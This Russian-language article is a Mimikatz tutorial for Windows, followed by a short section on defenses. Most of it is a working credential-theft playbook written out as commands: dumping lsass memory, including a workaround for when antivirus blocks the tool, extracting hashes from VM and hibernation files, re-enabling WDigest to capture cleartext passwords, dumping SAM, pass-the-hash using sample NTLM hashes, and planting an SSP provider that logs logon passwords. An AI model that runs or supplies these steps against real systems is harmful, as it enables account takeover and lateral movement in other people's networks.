Утилита Mimikatz — мощный инструмент для анализа безопасности Windows, позволяющий извлекать из памяти системы пароли в открытом виде, NTLM-хэши, Kerberos-билеты, а также выполнять атаки pass-the-hash, pass-the-ticket и создавать Golden Tickets. В статье описаны методы использования Mimikatz на Windows Server 2016 и Windows 10, а также меры защиты от подобных атак.
Дисклеймер: Информация предоставлена исключительно для ознакомительных целей. Использование Mimikatz для несанкционированного доступа к системам запрещено и незаконно.
Скачивание и запуск Mimikatz
1. Загрузите последнюю версию утилиты с официального репозитория.
Так же можно скачать утилиту напрямую с нашего сервера.
2. Распакуйте архив mimikatz_trunk.zip в каталог, например, C:\Tools\Mimikatz.
3. Выберите исполняемый файл (mimikatz.exe) для вашей архитектуры: x86 или x64.
4. Запустите утилиту с правами администратора, чтобы получить доступ к процессам системы.
Извлечение NTLM-хэшей из памяти Windows
Для извлечения NTLM-хэшей пользователей из памяти процесса lsass.exe (Local Security Authority Subsystem Service) на сервере, например, Windows Server 2016, выполните:
1. Запустите mimikatz.exe с правами администратора.
2. Активируйте привилегию отладки:
privilege::debug
Эта команда предоставляет права SeDebugPrivilege для доступа к памяти системных процессов.
3. Извлеките пароли и хэши:
sekurlsa::logonpasswords full
В выводе будут перечислены активные пользовательские сессии, включая их NTLM-хэши. Например:
— Пользователь: anovach, NTLM: 79acff649b7a3076b1cb6a50b8758ca8
— Пользователь: Administrator, NTLM: e19ccf75ee54e06b06a5907af13cef42
Для автоматизации процесса и сохранения результата в файл используйте:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> C:\Tools\Mimikatz\output.txt
Расшифровка NTLM-хэшей
Полученные хэши можно расшифровать с помощью утилит, таких как Hashcat (в Kali Linux), или онлайн-сервисов, например, crackstation. Простые пароли расшифровываются быстро, поэтому важно использовать сложные пароли и регулярно проводить аудит их надежности через групповые политики.
Извлечение хэшей из дампа памяти
Если антивирус блокирует прямое использование Mimikatz, можно создать дамп памяти процесса lsass.exe и извлечь хэши на другом компьютере.
Создание дампа памяти
1. Откройте Диспетчер задач, найдите процесс lsass.exe, щелкните правой кнопкой мыши и выберите Создать файл дампа.
2. Сохраните дамп в указанную папку, например, C:\Users\anovach\AppData\Local\Temp\lsass.DMP.
Альтернативно, используйте утилиту ProcDump от Sysinternals:
procdump -ma lsass.exe lsass.dmp
Или PowerShell-скрипт Out-Minidump.ps1:
Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump
Анализ дампа в Mimikatz
1. Перенесите дамп на другой компьютер и загрузите его в Mimikatz:
sekurlsa::minidump C:\Users\anovach\AppData\Local\Temp\lsass.DMP
2. Извлеките данные:
sekurlsa::logonpasswords
Извлечение паролей из файлов виртуальных машин и гибернации
Пароли можно извлечь из файлов дампов памяти, файлов гибернации (hiberfil.sys) или файлов подкачки виртуальных машин (.vmem).
Необходимые инструменты
— WinDbg (Debugging Tools for Windows).
— vm2dmp.exe (для Hyper-V) или MoonSols Windows Memory Toolkit (для VMware).
Процесс извлечения
1. Преобразуйте файл .vmem в дамп памяти. Например, для VMware:
bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp
2. Откройте дамп в WinDbg (File -> Open Crash Dump).
3. Загрузите библиотеку Mimikatz (mimilib.dll) для соответствующей разрядности:
.load mimilib.dll
4. Найдите процесс lsass.exe:
!process 0 0 lsass.exe
5. Извлеките данные:
.process /r /p fffffa800e0b3b30
!mimikatz
Результат включает NTLM-хэши и, в некоторых случаях, пароли в открытом виде.
Получение паролей через протокол WDigest
Протокол WDigest в старых версиях Windows хранит пароли в открытом виде для HTTP Digest Authentication. В Windows 10 и Server 2016 он отключен по умолчанию, но может быть активирован.
Активация WDigest
1. Включите поддержку WDigest:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
2. Обновите политики:
gpupdate /force
3. Дождитесь входа пользователей (в Windows 10 требуется повторный вход, в Server 2016 — разблокировка сессии).
4. Извлеките пароли:
privilege::debug
sekurlsa::wdigest
Пароли будут отображены в секции wdigest в открытом виде.
Извлечение паролей локальных пользователей из SAM
Для извлечения NTLM-хэшей локальных пользователей из базы SAM:
1. Запустите Mimikatz с повышенными привилегиями:
privilege::debug
token::elevate
lsadump::sam
2. Или экспортируйте ветки реестра SAM и SECURITY:
reg save hklm\sam C:\tmp\sam.hiv
reg save hklm\security C:\tmp\sec.hiv
3. Извлеките хэши:
privilege::debug
token::elevate
lsadump::sam C:\tmp\sam.hiv C:\tmp\sec.hiv
Pass-the-Hash атака
Если расшифровать сложный пароль не удалось, используйте NTLM-хэш для запуска процессов от имени пользователя:
privilege::debug
sekurlsa::pth /user:Administrator /domain:srv01 /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe
Для удаленного выполнения команд используйте утилиту Invoke-TheHash.
Извлечение паролей из Credential Manager
Mimikatz позволяет извлечь пароли, сохраненные в Диспетчере учетных данных Windows (например, для RDP или веб-сайтов):
privilege::debug
sekurlsa::credman
Пароли отображаются в секции credman.
Дамп паролей через SSP-провайдер
1. Скопируйте mimilib.dll в C:\Windows\System32.
2. Зарегистрируйте SSP-провайдер:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
3. Пароли пользователей при входе будут записаны в C:\Windows\System32\kiwissp.log.
4. Просмотрите файл:
Get-Content C:\Windows\System32\kiwissp.log
Защита Windows от атак с использованием Mimikatz
Для минимизации рисков:
1. Отключите WDigest:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 0
2. Установите обновление KB2871997 для Windows 7/8/2008R2/2012, чтобы отключить хранение LM-хэшей и паролей в открытом виде.
3. Включите защиту процесса LSASS:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 1 /f
4. Используйте Credential Guard для изоляции памяти LSASS.
5. Запретите отладку процессов (SeDebugPrivilege) через GPO: Конфигурация компьютера -> Политики -> Параметры Windows -> Параметры безопасности -> Назначение прав пользователя -> Отладка программ.
6. Отключите NTLM и запретите обратимое шифрование паролей.
7. Ограничьте кэширование учетных данных домена (CachedLogonsCount).
8. Добавьте учетные записи администраторов в группу Protected Users (при функциональном уровне домена не ниже Windows Server 2012 R2).
Рекомендации по безопасности
1. Используйте уникальные сложные пароли для разных сервисов, особенно для RDP и облачных ВМ.
2. Минимизируйте количество учетных записей с правами локального администратора.
3. Избегайте входа с учетной записью администратора домена на общедоступных серверах.
4. Регулярно проводите аудит безопасности паролей и инфраструктуры.